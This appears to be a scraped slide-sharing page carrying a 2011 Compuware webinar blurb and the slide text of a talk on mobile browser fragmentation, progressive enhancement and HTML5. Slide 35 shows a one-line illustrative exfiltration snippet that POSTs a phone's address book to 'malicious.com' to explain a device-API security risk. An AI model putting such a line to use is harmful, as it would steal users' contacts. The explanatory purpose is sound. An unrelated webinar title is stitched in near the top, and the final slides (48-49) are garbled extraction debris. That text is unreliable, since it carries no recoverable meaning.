Are you delivering quality web experiences to all your end-users – no matter what browser or mobile device they use?
Research shows 60% of mobile Web users had a problem in the past year when accessing a Website on their mobile device.
No matter what your customers use to access your website – from Internet Explorer 9 on a PC to Safari on an iPhone – they expect your site to be fast and work flawlessly.
Join renowned mobile platform strategist Peter-Paul Koch and Compuware CTO APM Steve Tack to learn:
- What growing web and mobile browser proliferation means for IT and Web app owners and developers
- The latest browser trends including the evolution of mobile browsers and HTML 5
- How to meet customers’ web experience expectations regardless of browser or device
- What problems exist for companies attempting to maintain cross-browser interoperability
- Best practices to deliver quality web experiences to all customers no matter what browser or device they use
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
Best Practices For Delivering Quality Web Experiences In A Mobile, Multi-Browser World
1.
2. State of
the mobile web
Peter-Paul Koch
http://quirksmode.org
http://twitter.com/ppk
Compuware Webinar , 24 March 2011
3. Mobile First!
• Design your sites for mobile first.
• You’ll be forced to decide what is so
important that it MUST be shown in the
mobile device’s tiny display.
• The things you leave out of the mobile
version don’t really need to be in the
desktop version, either.
4. The mobile browsers
• Safari iPhone • Obigo WebKit
• Android WebKit • Ovi
• Dolfin for bada • Bolt
• BlackBerry WebKit • BlackBerry old
• Opera Mobile • Phantom
• Opera Mini • Obigo old
• MicroB • NetFront
• Nokia WebKit • IE
• Firefox • UCWeb
You may groan now.
5. The mobile browsers
• Safari iPhone • Obigo WebKit
• Android WebKit • Ovi
• Dolfin for bada • Bolt
• BlackBerry WebKit • BlackBerry old
• Opera Mobile • Phantom
• Opera Mini • Obigo old
• MicroB • NetFront
• Nokia WebKit • IE
• Firefox • UCWeb
WebKit-based
6. WebKit on Mobile
There is no WebKit on mobile!
There's iPhone Safari (2 and 3),
and Android (1.0 and 1.5)
and S60 WebKit (v3 and v5)
and Blackberry WebKit,
and Palm WebKit,
and Bolt, Ozone, Teashark, and a few more
These WebKits are all different.
8. The mobile browsers
• Safari iPhone • Obigo WebKit
• Android WebKit • Ovi
• Dolfin for bada • Bolt
• BlackBerry WebKit • BlackBerry old
• Opera Mobile • Phantom
• Opera Mini • Obigo old
• MicroB • NetFront
• Nokia WebKit • IE
• Firefox • UCWeb
9. The mobile browsers
• Safari iPhone • Obigo WebKit
• Android WebKit • Ovi
• Dolfin for bada • Bolt
• BlackBerry WebKit • BlackBerry old
• Opera Mobile • Phantom
• Opera Mini • Obigo old
• MicroB • NetFront
• Nokia WebKit • IE
• Firefox • UCWeb
Proxy browsers
10. Proxy browsers
• Page is downloaded to and rendered
on a specialised server.
• A highly compressed image is sent to
the client.
• Advantage: cheap, both in device and
in network costs
• Disadvantage: no client-side
interactivity
11. Global stats Q4 2010
(by StatCounter)
Safari 23% iOS Stable
Opera 22% Many OSs Stable
BlackBerry 18% BlackBerry Down
Nokia 16% Symbian (and S40) Stable
Android 12% Android Up
NetFront 4% Sony Ericsson & Samsung Stable
Samsung 1% bada Up
UCWeb 1% Many OSs Down
Others 3%
12. Browser stats
• Those are GLOBAL stats; they are not
necessarily correct for the sites you’re
working on. Always check your stats.
• Social media referrals cause
disproportionate iPhone visits; and
Android to a lesser degree.
15. Which mobile browsers?
• Safari iPhone
• Opera Mini
• Android WebKit
• US: BlackBerry (WebKit and older)
• Europe: Nokia WebKit
• Dolfin for bada (easy)
• Opera Mobile (easy)
16. Progressive
enhancement
How do you deal with this immense
amount of browsers?
Use advanced tricks, but make sure
your site remains usable without them.
The site is enhanced as much as the
browser allows.
17. Progressive
enhancement
HTML
All browsers support HTML. That’s the definition
of a browser.
18. Progressive
enhancement
Basic CSS
HTML
All browsers support most basic CSS. There will
be bugs, but only few.
19. Progressive
enhancement
Advanced CSS
Basic CSS
HTML
Advanced CSS is restricted to advanced
browsers. Make sure it contains nothing vital; just
nice extras.
20. Progressive
enhancement
Advanced CSS
Basic CSS Basic JavaScript
HTML
All browsers support basic JavaScript, but they
can be slow. Maybe switch off in BB5 and lower.
21. Progressive
enhancement
Advanced CSS Advanced JavaScript
Basic CSS Basic JavaScript
HTML
Advanced JavaScript is a problem. Feature
detection is your friend. Make sure it contains
nothing vital.
22. Progressive
enhancement
CSS animations? Use them.
If they don’t work, nothing is lost.
Offline storage? Use it.
If it doesn’t work, the user reloads the
site every time. Not perfect, but it works.
23. Performance
How long does it take to generate 250
lists with 20 items each?
The following graphs give the number of
seconds it took the browsers.
http://quirksmode.org/m/tests/DOMspeed.html
26. HTML5
• Which browsers support HTML5?
• What is HTML5, anyway?
• Ask five web developers and they’ll
give you five different answers.
27. HTML5
• Offline storage
• Video and audio
• Canvas
• New input types
• Websockets
• New semantics
• SVG
• File API
• etc. etc. etc.
28. Offline storage
• Safari iPhone • Obigo WebKit
• Android WebKit • Ovi
• Dolfin for bada • Bolt
• BlackBerry WebKit • BlackBerry old
• Opera Mobile • Phantom
• Opera Mini • Obigo old
• MicroB • NetFront
• Nokia WebKit • IE
• Firefox • UCWeb
29. SVG
• Safari iPhone • Obigo WebKit
• Android WebKit • Ovi
• Dolfin for bada • Bolt
• BlackBerry WebKit • BlackBerry old
• Opera Mobile • Phantom
• Opera Mini • Obigo old
• MicroB • NetFront
• Nokia WebKit • IE
• Firefox • UCWeb
30. New input types
• Safari iPhone • Obigo WebKit
• Android WebKit • Ovi
• Dolfin for bada • Bolt
• BlackBerry WebKit • BlackBerry old
• Opera Mobile • Phantom
• Opera Mini • Obigo old
• MicroB • NetFront
• Nokia WebKit • IE
• Firefox • UCWeb
31. HTML5
• Which browsers support HTML5?
• It depends.
• HTML5 is mainly a marketing
buzzword.
• That’s not bad; we need it.
• But it has no technical meaning.
32. HTML5 apps
• One core app written in HTML,
CSS, and JavaScript.
• Deployed to several mobile
platforms.
• Ideally, CSS and JavaScript are
stored on the device.
• If it can't be deployed it's still a
website.
33. Symbian Windows Mobile
I’ve done it. In April 2009.
34. Device APIs
• Native apps offer device APIs.
• They allow you to access the camera,
accelerometer, SMS, file system, etc.
• Web apps will have to offer them, too.
device.phone.call(device.addressBook['mom'])
35. Device APIs
var ab = device.addressBook.toString();
sendRequest(POST,'malicious.com',ab);
There’s a serious security problem here.
Providing trusted apps might remain an app
store function.
36. Summary
• Mobile First! Design for mobile, and
your desktop site will become better,
too.
• Use progressive enhancement. Lots of
it. It will keep you sane.
• Know which browsers to develop for.
37. Which mobile browsers?
• Safari iPhone
• Opera Mini
• Android WebKit
• US: BlackBerry (WebKit and older)
• Europe: Nokia WebKit
• Dolfin for bada (easy)
• Opera Mobile (easy)
38. Thank you
• Peter-Paul Koch
• http://quirksmode.org
• http://twitter.com/ppk
• Compuware Webinar , 24 March 2011
48. W D t W ,
Z t ^ D W
Z
Z
W ^
Z
^
• Z
• /
•
W d
Source: Gomez real user monitoring
49. Y D t /
^ z h WKs
d Z
•
•
• ^
W W
• / /^W
• W
s W • ^ • W
t • E : ^
D ^ ^ ^ D •
/^W
• W • E
•
: Ed
•
• W
• / •
^• ^ ^Y t •E
E •/
• ^
•K
E
t D t E
^ K D
•
• K WKW
• W
• • E
•
• ^D^